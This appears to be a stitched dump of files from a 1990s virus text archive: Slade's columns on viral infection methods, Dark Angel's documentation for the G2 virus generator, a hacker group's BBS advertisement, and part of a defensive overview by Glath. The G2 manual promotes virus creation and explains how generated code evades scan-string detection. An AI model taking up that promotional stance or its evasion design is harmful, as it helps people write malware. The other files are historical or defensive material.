disguise this, will show a different creation date, size and
image.
It is also, however, possible to add viral code to the end of
the original program, and still ensure that the viral code is
run before that of the original program. All that is necessary
is to alter the file header information to reflect the fact that
you want to start executing the file towards the end, rather
than at the normal location. At the end of the viral code
another jump returns operation to the original program.
(This kind of operation is not as odd as it may sound. It is
not even uncommon. A legacy from the days of mainframe "paging"
of memory, it is used in a great many MS-DOS executables, either
in single .EXE files or in overlays. It is, therefore, not a
coding indication that can be used to identify viral type
programs or infected files.)
Appending, or prepending, viral code to an existing program
therefore avoids the problems of damage and potential failure to
run which plague overwriting viral programs. Even these viral
programs, however, are not foolproof. Programs which load in
very non-standard ways, such as KEA's "Zstem" terminal emulation
program, use the header information which the viral programs
alter. Although not originally designed for virus detection,
the "Program abort - invalid file header" message thus generated
is an indication of viral infection. Sometimes the first
indication that users have.
copyright Robert M. Slade, 1991 FUNPIV3.CVP 911014

57
textfiles.com/virus/funpiv4.cvp Normal file
View File

@@ -0,0 +1,57 @@
FUNPIV4.CVP 911020
Viral code "association"
The simplest way for a viral program to avoid the detection that
results from modifying the code of an existing program is not to
modify the original program. This is an elementary solution,
but would seem to have the drawback that, unless you do change
the file in some way, the virus will never be called.
There is a "solution" to this problem, and (if I may be allowed
some enthusiasm for the concept, if not the reprehensible act) a
rather elegant one at that.
In a given situation, computers may be presented with a number
of possible courses of action. The action taken first is
decided by pre-programmed precedence. A number of programs may
have very similar names, leading to potential confusion about
which one is to be run in a given invocation. In the case of
MS-DOS, for example, SET.COM, SET.EXE and SET.BAT are all
"executable" files. In the normal course of events, any one
could be invoked by giving the command "SET". If all three
files exist, which one is to be run?
The precedence of program invocation under MS-DOS is that .COM
files are first, .EXE second and .BAT last. If three files of
the same name do exist, this does not imply that all three will
be run in that sequence, but rather that giving the command
"SET" will always invoke only the SET.COM file.
A certain class of viral programs; known variously as
"companion", "spawning" or "precedence" viri; use this feature
of the operating system. They "infect" a file with an .EXE
extension simply by creating another file with the same name,
but a .COM extension. Thus the .COM file is always executed in
place of the original .EXE file. The original file remains
unchanged, and no manner of "change detection" will tell you any
different. (In order to further avoid detection the viral file
will generally end with a very specific "call" to the original
program, and the viral program has the "hidden" attribute set.
In the Macintosh and other GUI operating systems, it is possible
for a virus to take precendence by "overlaying" an existing icon
with another which is either transparent or identical to the
first.)
Fortunately, companion viri are by no means perfect. For one
thing, they are limited to those programs which are "lower" in
the order of precedence. For another, the "hidden" attribute is
relatively easy to overcome (particularly in MS-DOS), and an
alphabetical listing of files will quickly turn up the anomaly
of identical names. Of the antiviral packages tested so far, no
change detector alerts to duplicate names, although many may
alert the user by asking the user to "validate" a file that has
been in use for some time. It will probably not be long,
however, before this is a common feature.
copyright Robert M. Slade, 1991 FUNPIV4.CVP 911020

56
textfiles.com/virus/funpiv5.cvp Normal file
View File

@@ -0,0 +1,56 @@
FUNPIV5.CVP 911030
Infection variations
This months columns have dealt with a number of possible ways
that computer viral programs may infect program files.
Unfortunately the overwriters, prependers, appenders and
companions mentioned do not exhaust the possibilities.
(By the way, this week's column is basically courtesy of
Vesselin Bontchev, who did all the research.)
In discussing overwriting viri I mentioned, by concept although
not by name, the Zerohunt virus, which looks for a string of nul
characters of sufficient length to accommodate it. However,
there is also the Nina virus, which overwrites the beginning of
a file, and the Phoenix family, which overwrites a random
section of a file, both of which append the overwritten part to
the end. The Number of the Beast/512 virus and 1963 both
overwrite the beginning of the file and then move the contents
of the overwritten section beyond the *physical* end of the file
into a portion of the last cluster the file occupies. Because
the clusters are always of a fixed size, and because it is very
unusual for a file to exactly match a "multiple of cluster"
size, there is generally some space there which is, essentially,
invisible to the operating system.
In the world of prependers, a similar consideration is used by
the Rat virus. EXE file headers are always a multiple of 512
bytes, so there is often an unused block of space in the header
itself, which the Rat assumes. The Suriv 2.01 works a bit
harder: it moves the body of the file and inserts itself between
the header and original file, and then changes the relocation
information in the header.
Then there is the DIR II. The viral code is written to one
section of the disk ... and then the directory and file
allocation information is altered in such a way that all
programs seem to start in that one section of the disk. Because
of the convoluted way this virus works, it is possible to "lose"
all the programs on the disk by attempting to "repair" them.
At this point in my seminar, there is an overhead foil marked
"This page intentionally left blank." The point being that
there are all kinds of subtle variations on the themes covered
here ... and quite a few not so subtle means which will only
become obvious after they have been used. However, it is
important to note that the most "successful" viri in terms of
numbers of infections are not necessarily the "new models", but
the older and often less sophisticated versions. On the one
hand, this indicates that novelty is not a "viral survival
factor." On the other hand, it points out, in rather depressing
manner, that most computer users are still not using even the
most basic forms of antiviral protection.
copyright Robert M. Slade, 1991 FUNPIV5.CVP 911030

564
textfiles.com/virus/g2.txt Normal file
View File

@@ -0,0 +1,564 @@
Phalcon/Skism's G<> 0.70<EFBFBD>
The Second Generation in Virus Creation
Written by Dark Angel
January 1, 1993
"Where do we think up these cheesy names?"
-Dark Angel
TABLE OF CONTENTS
TITLE PAGE i
TABLE OF CONTENTS i
DISCLAIMER i
PURPOSE ii
FEATURES ii
RESTRICTIONS iii
RUNNING G<> (HOW DO I GET THE DAMN THING TO WORK?) 1
G<> HAS THE POWER 1
STILL NO IDE 1
MODIFICATION OF GENERATED FILES 2
UPGRADES 2
ADDITIONAL G<> FILES 3
PROBLEMS AND FUTURE IMPROVEMENTS 3
CONCLUSION 4
HISTORY OF VIRUS TOOLKITS A
DISCLAIMER
G<> is hereby released into the Public Domain, and may not be sold or
marketed in any form without the permission and written consent from the
author. The author retains all copyrights to this program, in either the
original or modified forms, and no violation, deletion, or change of either
the copyright notice or this disclaimer is allowed.
G<> and the source code generated by said program are not to be used in
any malicious or otherwise irresponsible manner. The author is not
responsible for any damages, incidental or otherwise, resulting from
running either the core program or any programs generated by it. The
program itself is not designed to be damaging and responsibility for proper
usage and containment of any code created by the program (either modified
or unmodified) is entirely placed on the user of G<>. All source code and
executable files generated either entirely or partially with G<> may not be
distributed without the recipient's full knowledge of the contents.
Malicious use of this code is malicious.
G<> is guaranteed to exist for five years or 50,000 miles, whichever
comes first.
i
PURPOSE
G<> is NOT a modification of the Phalcon/Skism Mass-Produced Code
generator; it is a complete rewrite and functions in a radically different
manner. There will be no further releases of the PS-MPC, as the project
represented the amoeba-stage of virus creation.
G<>, Phalcon/Skism's newest virus creation tool, is designed to allow
everyone easy access to computer virus source code. More than a simple
Vienna hack generator, it creates viruses "on-the-fly" as per the user
specifications. G<> is designed to be easily maintainable and extensible
through the use of special data files created especially for use by the
program.
G<> arrives after the Virus Construction Lab and the Phalcon/Skism
Mass-Produced Code generator. These two excellent code generators have
several shortcomings inherent in their design. First, they only create one
specific virus given a specific configuration. Their design allows for no
variability in code generation. Second, upgrading the generated code means
getting a new COM or EXE file. With the overhead of the IDE code in VCL,
this means redownloading over 100K each release, most of which is
redundant. Although the PS-MPC is much smaller and certainly better
written, it still suffers from the same lack of simple upgrades. The
problem arises because the data needed by the programs for code generation
are hard coded, and not in easily updated external files.
G<>, of course, has none of the problems associated with earlier virus
generators. Designed with configurability, variability, and upgradability
in mind, G<> represents the current apex of virus generation.
FEATURES
The target audience of G<> includes both novice and advanced
programmers alike who wish to learn more about virus programming. A
revolutionary tool in virus generation, G<> is both easy to use and
unparalleled in performance. As a code generator, it has a number of
features including:
o Easy updates via data files.
o Accepts MPC-compliant configuration files.
o Different viruses may be generated from identical configuration files.
o Small executable size, allowing for speed during load and execution.
o Still no IDE - edit the configuration file in your favorite editor and
rapidly generate new code; no need for lengthy wait while IDE loads,
allowing you to work faster and have results quicker. A definite
productivity bonus!
o Rapid generation of code, once again allowing for fast results.
o Low memory requirements.
As a virus creation tool, it has the following features:
o Generates compact, easily modified, fully commented, source code.
o COM/EXE infectors.
o Resident and nonresident viruses.
o Supports multiple, semi-polymorphic encryption routines (full
polymorphism coming soon).
o Easily upgraded when improvements are needed.
Clearly, G<> is the most advanced virus code generator available today.
ii
RESTRICTIONS
Everyone is free to use this program at no charge except for ex-Senior
Engineers of Data Plus, who must pay off the American national debt in
order to use this program or view the documentation beyond this page (only
one or the other). Payment of the American national debt and a sum not
less than said debt to the creator of this program is necessary for the
privilege of both using the program AND viewing the documentation. Failure
to do so will result in a still penalty.
This program and this document are copyrighted materials of Dark Angel
of Phalcon/Skism. No one may duplicate the document in printed form,
either in part or in full, without an appropriate citation. Ex-Senior
Engineers of Data Plus are not allowed to duplicate either the program or
the document in any case.
IF YOU ARE A SENIOR ENGINEER, STOP READING NOW. IF YOU ARE OR KNOW OF A
SENIOR ENGINEER WHO HAS VIOLATED THE RESTRICTIONS, THEN IT IS YOUR MORAL
AND CIVIC DUTY TO CALL THE SPA, ASP, PSA, PAS, OR ANY OTHER ORGANIZATION
WITH SOME COMBINATION OF THOSE LETTERS TO REPORT THE VIOLATOR AND TO MAKE
SURE HE OR SHE IS PUNISHED TO THE FULLEST EXTENT UNDER THE LAW.
iii
RUNNING G<> (HOW DO I GET THE DAMN THING TO WORK?)
Make sure that the G2.DAT file is in the current directory. Edit the
configuration file to set the desired parameters. Then use the following
simple command to generate the assembly code:
G2 [<datafile>] <configfile1> [[<configfile2>] ...]
Datafile is an optional parameter which allows G<> to use other data
modules in lieu of the default (G2.DAT). Configfile refers to the name of
the configuration file which G<> uses to determine the characteristics of
the generated virus. The sample configuration file, G2.CFG, contains all
the information you need to generate your own virus. There can be any
number of configuration files following the first parameter. Once invoked,
G<> will dutifully create the source code files. To assemble, simply follow
the instructions found in the source code files. The source code is
written for Turbo Assembler and will not work with other assemblers without
modification.
EXAMPLE:
Let's say you have created a configuration file called FOOBAR.CFG and
wish to generate a virus from it. Simply type:
G2 FOOBAR.CFG
and the deed is done. It doesn't get much simpler than this.
EXAMPLE:
Let's say you wish to create viruses from the data file BLIP.DAT and
the configuration files BLOP.CFG and BLUP.CFG. At the DOS prompt, type:
G2 BLIP.DAT BLOP.CFG BLUP.CFG
Two files will then be created.
G<> HAS THE POWER
The key to G<>'s power lies in its flexibility in code generation.
Source code files created by G<> from identical configuration files almost
always differ in both size but not in functionality. G<>'s data files allow
for multiple code segments for each given routine. Additionally, the lines
of assembly within each routine may be placed in different relative
positions by G<>. Consequently, few code segments are stable and it should
therefore be tough to find a generic scan string for G<>-generated viruses.
Finally, since G<> operates with easily-upgraded data files, any such
generic scan string is guaranteed to have a very short life, i.e. until the
next release of the data file. As more routines are added, the number of
possible viruses will grow exponentially, thereby making a generic scan
string approach unwieldy, if not impossible.
Aside from the inherent power of the code generator, the data file is
also an integral part of the G<> package. Since it is written in the G<>
metalanguage, it is easily upgraded and maintainable. It is an easy task
to redesign the structure of the viruses generated by G<>; it's a simple
matter of rearranging the various routines. This allows for both more
variety in the generated viruses as well as increasing the difficulty of
finding a single generic scan string for G<>.
STILL NO IDE (INTEGRATED DEVELOPMENT ENVIRONMENT)
"
Everyone agrees that Microsoft Windows is for cripples. Obviously,
you, the user of the PS-MPC, are no cripple, so you need no puny IDE with
colourful, deluxe windows to aid you. If you are a cripple, go ahead and
1
create the configuration file in your favorite Windows text editor. Hell,
port the code to the Macintosh and you can be truly crippled (although
you'll have your pretty windows and icons).
"
- From the PS-MPC documentation
Creating an IDE nowadays is merely an exercise in running a package
designed for generating a snazzy interface. Naturally, this is entirely
unnecessary and may not even be wanted in many instances, as an IDE adds
tremendous amounts of extra code accompanied with a tremendous decrease in
execution speed. It's pretty stupid to put an IDE in a code generator;
there's simply no need.
Several analogies come to mind. The first, of course, is that using
an IDE is akin to a walking person intentionally crippling his own legs or
a sighted person poking her own eyes out. Using an IDE for no reason is
like sitting on a porcupine, bashing yourself over the head with a brick,
or jabbing yourself in the belly with a hot poker for no reason; it's just
not a good idea.
You want Windows compatability? You want customizable colours? You
want CUA/SAA-compliant pull-down menus? Then go write your own interface.
You want speed? You want tight code generation? You want to learn how to
write viruses? Then G<> will do the job nicely.
MODIFICATION OF GENERATED FILES
You are encouraged to alter the generated source code files. You may
add to the code in any way except for the addition of malicious code.
That's a no no and is frowned upon. The source code is commented for easy
modification. Everything is open for modification except for the creation
signature string, [PS/G<>]. Leave it in.
Note that G<> includes absolutely no destructive routines in it. This
ensures that those who use G<> must do the dirty work themselves. Any knob
can write a hard drive trashing routine or rip such a routine out of a
trojan; heck, any programmer worth his salt can write one in his sleep.
Remember that G<> is designed not for destruction, but rather for learning.
In the hands of a knowledgeable user, G<> may be quite powerful.
UPGRADES
Although the G<> package is designed as a virus creator, it is really a
generic code generator. The G2.COM file processes the G2.DAT data file to
create the virus. The executable contains no inherently virus-oriented
data; it is all contained in the data file. This is the key to G<>'s power
and ease of upgrade.
Thus, two types of upgrades are possible with G2: code and data file.
Code file upgrades refer to changes in the G2.COM file itself. This will
occur periodically as improvements are needed. Data file upgrades are
changes in the G2.DAT file. Note that data files are NOT and will NOT be
compatible across different versions of G<>. This is to allow for
improvements to the file format which may be made during a code upgrade.
Each release of the code file will be accompanied with a new release
of the data file. This does not necessarily mean that the data module is
improved; it is simply a convenience to the user. The filename of G<> code
file releases will be of the format G2-CXXXY.ZZZ where XXX is the version
number, Y is either blank or a 'B' to designate a beta release, and ZZZ is
2
the extension of the appropriate archive format. The filename of data
upgrades will be of the form G2-DXXXY.ZZZ where XXX is the version of G<>
the data file is to be used with, Y is a version number of the data file,
and ZZZ is once again the extension of the appropriate archive format.
This naming scheme is subject to change without notice.
ADDITIONAL G<> FILES
Note: This is not to be confused with the files generated by G2.COM during
the course of normal operation, which are to be used freely by the user of
G<>.
Due to the nature of G<>, there are several files which may eventually
be made available. The first is the compiler module, which generates the
G2.DAT file from several data files. Along with the compiler module will
be the data files themselves, which hold the virus code definitions used by
G<> in creating source code. These will not be made available for some
time, at least until the data module format is stable and I've made pretty
much all the improvements that I wish to do. Target version number for
release of these files is 35.2.9.31(3), although this may and will be
changed at will and without notice.
I am not releasing the source code at this point simply because of all
the hassle I went through after releasing the source to the PS-MPC. The
numerous complaints received from people who couldn't compile it properly
(due to improper setting of compiler switches) showed that it is difficult
to distribute a product in this form. For those that are interested, G<>
was written using Turbo C 2.0, an excellent product indeed and the source
code was tested with Tasm 2.5.
PROBLEMS AND FUTURE IMPROVEMENTS
I'm much happier with G<> and have put more heart into programming it
than I had with the PS-MPC. Although I was initially excited with the
possibilities of the PS-MPC, it was intrinsically limited and I soon saw
that it would grow too bulky to keep up. So I thought up of the idea of
the data file and so far it's been working pretty well.
Although this program was written with less frenzy than the PS-MPC,
(it took 3 days versus the 2 for the PS-MPC) it may have a few remaining
problems, hence the preversion 1.0, beta designation. The processing of
the configuration file is not contained within the data file; I wish to
change this sometime. Additionally, I wish to add a bit more functionality
and variability into the code generation before version 1.0. Further
control of the code generation and a batch creation mode will also be added
before version 1.0. A few tidbits to look for: true polymorphism, boot
block/partition table/SYS infectors, stealth features, more commenting, and
improved speed in data file and source code generation.
If you should find problems of your own (euphemism for bug), then make
sure you tell me what is wrong and it will be fixed as soon as possible.
If you have a suggestion for an improvement in the code, or even have
alternate code fragments, then send them to me and they may be incorporated
into subsequent releases of the data file.
If you should further run into any problems in learning how to use G<>,
then be sure to get word to me. Even post it on FidoNet if you wish; I
don't mind feedback in a public forum. Although I will not stoop to the
level of a GUI-making, toolkit-using programmer-drone, I will try to make
using G<> as simple as possible and may possibly release a tiny shell which
3
will automatically place the appropriate parameters in a configuration file
suitable for use with G<>.
Of course, if you have any positive comments, feel free to post them
anywhere I'm likely to be; either leave me email at a particular board that
I frequent (make sure it's the right Dark Angel) or leave a public message
on FidoNet or another net that I am likely to read. Don't be too critical
of ex-Senior Engineers; they have nothing better to do than bash virus
writers.
CONCLUSION
G<> represents a new level in modern virus creation. Although nothing
can possibly beat either the quality or the thrill of a hand-crafted virus,
the viruses generated by G<> are quite powerful and useful for learning how
to write your own viruses.
Where does it go from here? Only ex-senior engineers of Data Plus
have been entrusted by the government to know this secret information.
However, secret agents have infiltrated the tight safety net surrounding
said senior engineers and this knowledge will be made publically available
at the appropriate time.
4
HISTORY OF VIRUS TOOLKITS
Note: The original text from which this was based, the PS-MPC
documentation, has been copied extensively by journals such as Virus
Bulletin and presented as their own text. If you copy the text, it is
expected that you cite the source. It's not very nice to plagiarize and
your mommy might scold you if she knew what you were up to.
The first known virus toolkit was called VCS, or Virus Construction
Set. This program generated a new virus each time it was run. However,
there were no code differences at all between any two viruses generated by
VCS. All viruses generated were 1077 bytes in length and all could be
detected with the identical scan string. The advantage in this approach
was that the user needed absolutely no knowledge of 8086 assembly to take
advantage of this program. This program of limited usefulness spawned only
one well-known variant called Manta. It is hardly worth mentioning here.
The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation
Engine (MtE). This magnificent work of Bulgarian coding allowed virus
authors to create viruses with an almost limitless number of decryption
routines. Although the author needed to know how to write 8086 assembly
code, no knowledge of the inner workings of MtE save the entry parameters
was needed to use this toolkit. It has since spawned several viruses,
including Dedicated, Pogue, Fear, and Groove.
The next virus toolkit to be released was VCL, or Virus Construction
Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed
the user many options, including the creation of parasitic COM infectors,
overwriting COM/EXE "infectors," spawning EXE "infectors," trojan horses
and logic bombs. The only thing missing from this motley assortment of
formats was the ANSI bomb. Since it could handle parasitic infections only
of the COM file format, it was of limited usefulness. Additionally, it
incorporated only one decryption formula, once again limiting its
usefulness. Further, the initial release included a quirky installation
program which failed to install properly under certain conditions. An
errant pointer probably contributed to another bug, which occasionally
caused garbled source code to be produced. Perhaps the worst bug of VCL
was the failure of some of the generated programs to work properly. On the
bright side, however, this package contained a colourful IDE loosely based
on the Borland interface. This IDE was easy to use and even the average
Joe could understand how to use it without understanding 80x86 assembly.
Unfortunately, the activation routines included with the package were of
limited usefulness. Most of these involved manipulating the BIOS memory
area at segment 40h and seemed to be mere afterthoughts, rather than
planned "features." Virus researchers quickly dismissed VCL's importance,
as it was primarily an overblown Vienna hack generator and incapable of
generating dangerous viruses. The Vienna ancestry of VCL was apparent in
many of its "options" such as virulence rate and PATH= tracing. The F-Prot
which existed during the release of VCL immediately scanned most viruses
created by VCL as Vienna hacks. VCL 2.0, so far merely vaporware, is
rumored to fix the previous version's many problems. However, the package
will continue to be haunted by its ancestry and its inherently crippled
nature due to being a first generation virus creator.
The latest virus toolkit was the Phalcon/Skism Mass-Produced Code
generator (PS-MPC). Released shortly after VCL, this product, written by
Dark Angel, had none of the problems associated with VCL. Although this
virus generator didn't create overwriting COM/EXE "infectors," spawning EXE
"infectors," trojan horses, or even logic bombs, it could handle parasitic
COM and EXE infectors with ease. It also had a random
A
encryption/decryption algorithm, allowing well over 150 possible routines
in that area. Version 0.91<EFBFBD> incorporated both resident and nonresident
infectors. No previous virus toolkit could generate resident viruses,
generic or otherwise. Further, the PS-MPC had no IDE to cripple the user,
clearly an advantage, as the program lacked the overhead associated with an
IDE. Thus, the PS-MPC was a good tool for learning how to write viruses as
well as an excellent method of creating good viruses. The PS-MPC was not
intended to be used destructively; no destruction routines were
incorporated. Therefore, irresponsible dissemination of destructive code
was not initiated; rather, it left the activation of the virus up to the
user. Interestingly, although released soon after VCL 1.0, the PS-MPC
version 0.90<EFBFBD> fulfilled the "wish list" for VCL 2.0 and the PS-MPC version
0.91<EFBFBD> improved still further, with the capability of creating full-fledged
resident infectors. Another bonus was the availability of the source code,
which allowed extensions of the core program.
B

2375
textfiles.com/virus/gao_rpt Normal file
View File

File diff suppressed because it is too large Load Diff

69
textfiles.com/virus/gf.txt Normal file
View File

@@ -0,0 +1,69 @@
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
<20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
<20><> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20> <20><> <20><>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20><> <20> <20><> <20><> <20><> <20><> <20><> <20><> <20><> <20><>
<20><> <20> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
An H/P/A/V/C Oriented Computer Organization
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
We, at General Failure, specialize in making computer activities
a lot more exciting, by creating phunky worms, eliminating lame
boards, programming weird viral tools, etc.
General Failure Members
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Alex; Ara<72>a; Billy; George; Herbais;
JM; Oro; Pablito ; Pipa; Walt DiZnEy
General Failure Can Be Reached At These Kool Boards
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-- Endless Riddance --
Everyday, From 11Pm To 7Am.
Phone Number: (Confidential, By Now)
-- No Future --
Mondays To Fridays, From 11Pm To 7Am.
Phone Number: 541-923-1876
** An Official GF Distribution Site **
-- Perpetual XTC --
Everyday, From 11Pm To 7Am.
Phone Number: 541-827-2511
** An Official GF Distribution Site **
-- Satanic Brain --
Everyday, 24hs A Day!
Phone Number: 541-383-7480
** Official NuKE International Site **
Check Out For Our New Releases!


552
textfiles.com/virus/glath.vir Normal file
View File

@@ -0,0 +1,552 @@
COMPUTER VIRUSES: A RATIONAL VIEW
by: Raymond M. Glath
President
RG Software Systems, Inc.
2300 Computer Ave.
Suite I-51
Willow Grove, PA 19090
(215) 659-5300
April 14, 1988
WHAT ARE COMPUTER VIRUSES?
(a.k.a. Trojan Horses, Worms, Time Bombs, Sabotage)
Any software that has been developed specifically for the purpose
of interfering with a computer's normal operations.
WHAT DO THEY DO?
There are two major categories of viruses.
Destructive viruses, that cause:
Massive destruction...
ie: Low level format of disk(s), whereby any programs
and data on the disk are not recoverable.
Partial destruction...
ie: Erasure or modification of a portion of a disk.
Selective destruction...
ie: Erasure or modification of specific files or file
groups.
Random havoc... The most insidious form of all.
ie: Randomly changing data on disk or in RAM during
normal program applications, or changing keystroke
values, or data from other input/output devices,
with the result being an inordinate amount of time
to discover and repair the problem, and damage
that may never be known about.
Non-Destructive viruses, intended to cause attention to the
author or to harass the end user.
a. Annoyances...
ie: Displaying a message, changing display colors,
changing keystroke values such as reversing the
effect of the Shift and Unshift keys, etc.
WHAT IS THE IMPACT OF A VIRUS ATTACK BEYOND THE OBVIOUS?
Lost productivity time !!!
In addition to the time and skills required to re-construct
damaged data files, viruses can waste a lot of time in many other
ways.
With either type of virus, the person subjected to the attack as
well as many support personnel from the attacked site and from
various suppliers, will sacrifice many hours of otherwise
productive time:
Time to determine the cause of the attack.
The removal of the virus code from the system.
The recovery of lost data.
The detective work required to locate the original source of
the virus code.
Then, there's the management time required to determine how
this will be prevented in the future.
WHO DEVELOPS VIRUSES?
This individual, regardless of his specific motivation, will most
probably want to see some form of publicity resulting from his
handiwork. Anywhere from a "Gotcha" message appearing on the
computer's screen after the attack, to major press coverage of
that particular virus' spread and wake of damage.
Some of the reasons for someone to spend their time developing a
virus program are:
A practical joke.
A personal vendetta against a company or another person.
ie: a disgruntled employee.
The computer-literate political terrorist.
Someone trying to gain publicity for some cause or
product.
The bored, un-noticed "genius," who wants attention.
The mentally disturbed sociopath.
IS THE THREAT REAL?
Yes, however thus far the destructive ones have primarily been in
the Academic environment. Several attacks have been documented by
the press, and, from first hand experience, I can attest to the
fact that those reported do exist. We have seen some of them and
successfully tested our Disk Watcher product against them.
Reputable individuals have reported additional viruses to us, but
these have not reached the scale of distribution achieved by the
now infamous "Lehigh," "Brain," "Israeli," and "MacIntosh"
viruses.
We do expect the situation to worsen due to the attention it's
received. Taking simple lessons from history, a new phenomenon,
once given attention, will be replicated by individuals who
otherwise have no opportunity for personal attention.
Now that there are products for defense from viruses, the virus
writers have been given a challenge; and for those people who
have always wanted to anonymously strike out at someone but
didn't know of a method to do so, the coverage has provided a
"How To" guide.
HOW DOES A VIRUS GET INTO YOUR COMPUTER SYSTEM?
A virus may be entered into a system by an unsuspecting user who
has been duped by the virus creator (Covert entry), or it may be
entered directly by the creator. (Overt entry.)
Examples of Covert entry of a virus into a computer
system.
A "carrier" program such as a "pirate" copy of a
commercial package that has been tampered with, is
utilized by the un-suspecting user, and thus
enters the virus code into the system.
Other types of carriers could be programs from
Bulletin Boards that have been either tampered
with or specifically designed as viruses, but
disguised as useful programs. There has even been
a destructive virus disguised as a "virus
protection" program on a BBS.
The user unknowingly acquires an "infected" disk
and uses it to boot the system.
The virus has been hidden in the system files and
then hides itself in system RAM or other system
files in order to reproduce, and later, attack.
Examples of Overt entry into a computer system.
An individual bent on harassing the user or
sabotaging the computer system, modifies an
existing program on that computer or copies a
virus program onto someone's disk during their
absence from their work station.
HOW DOES A VIRUS SPREAD?
A virus may reproduce itself by delaying its attack until it has
made copies of itself onto other disks (Active reproduction,) or
it may depend entirely on unsuspecting users to make copies of it
and pass them around (Passive reproduction). It may also use a
combination of these methods.
WHAT TRIGGERS THE VIRUS ATTACK?
Attacks begin upon the occurrence of a certain event, such as:
On a certain date.
At a certain time of day.
When a certain job is run.
After "cloning" itself n times.
When a certain combination of keystrokes occurs.
When the computer is restarted.
One way or another, the virus code must put itself into a
position to either start itself when the computer is turned on,
or when a specific program is run.
HOW DOES ONE DISTINGUISH A VIRUS FROM A "BUG" IN A PROGRAM OR A
HARDWARE MALFUNCTION?
This can be a tough one. With the publicity surrounding viruses,
many people are ready to believe that any strange occurrence
while computing may have been caused by a virus, when it could
simply be an operational error, hardware component failure, or a
software "bug."
While most commercial software developers test their products
exhaustively, there is always the possibility that some
combination of hardware; mix of installed TSR's; user actions; or
slight incompatibilities with "compatible" or "clone" machines or
components; can cause a problem to surface.
We need to remember some key points here:
1. Examine the probabilities of your having contacted a virus.
2. Don't just assume that you've been attacked by a virus and
abandon your normal troubleshooting techniques or those
recommended by the product manufacturers.
3. When in doubt contact your supplier or the manufacturer for
tech support.
4. Having an effective "Virus Protection" system installed may
help you determine the cause of the problem.
HOW CAN YOU AVOID COMING IN CONTACT WITH VIRUSES?
1. Know and be comfortable with the source of your software
acquisitions.
If you use a BBS (Bulletin Board,) verify that the BBS is
reputable and that it has satisfactory procedures in
place to check out its software as well as provisions
to prevent that software from being modified.
Do not use illegitimate copies of software.
Be sure that the developer of the software you're using
is a professional. Note that many "Shareware" products
are professionally produced. You needn't stop using
them. Just be sure that you have a legitimate copy of
the program if you choose to use these products.
Don't accept free software that looks too good to be
true.
2. Install a professional virus protection package on your
computer that will alert you to any strange goings on.
3. Provide physical security for your computers.
ie: Locked rooms; locks on the computers; etc.
4. If you're unsure of a disk or a specific program, run it in an
isolated environment where it will not be able to do any
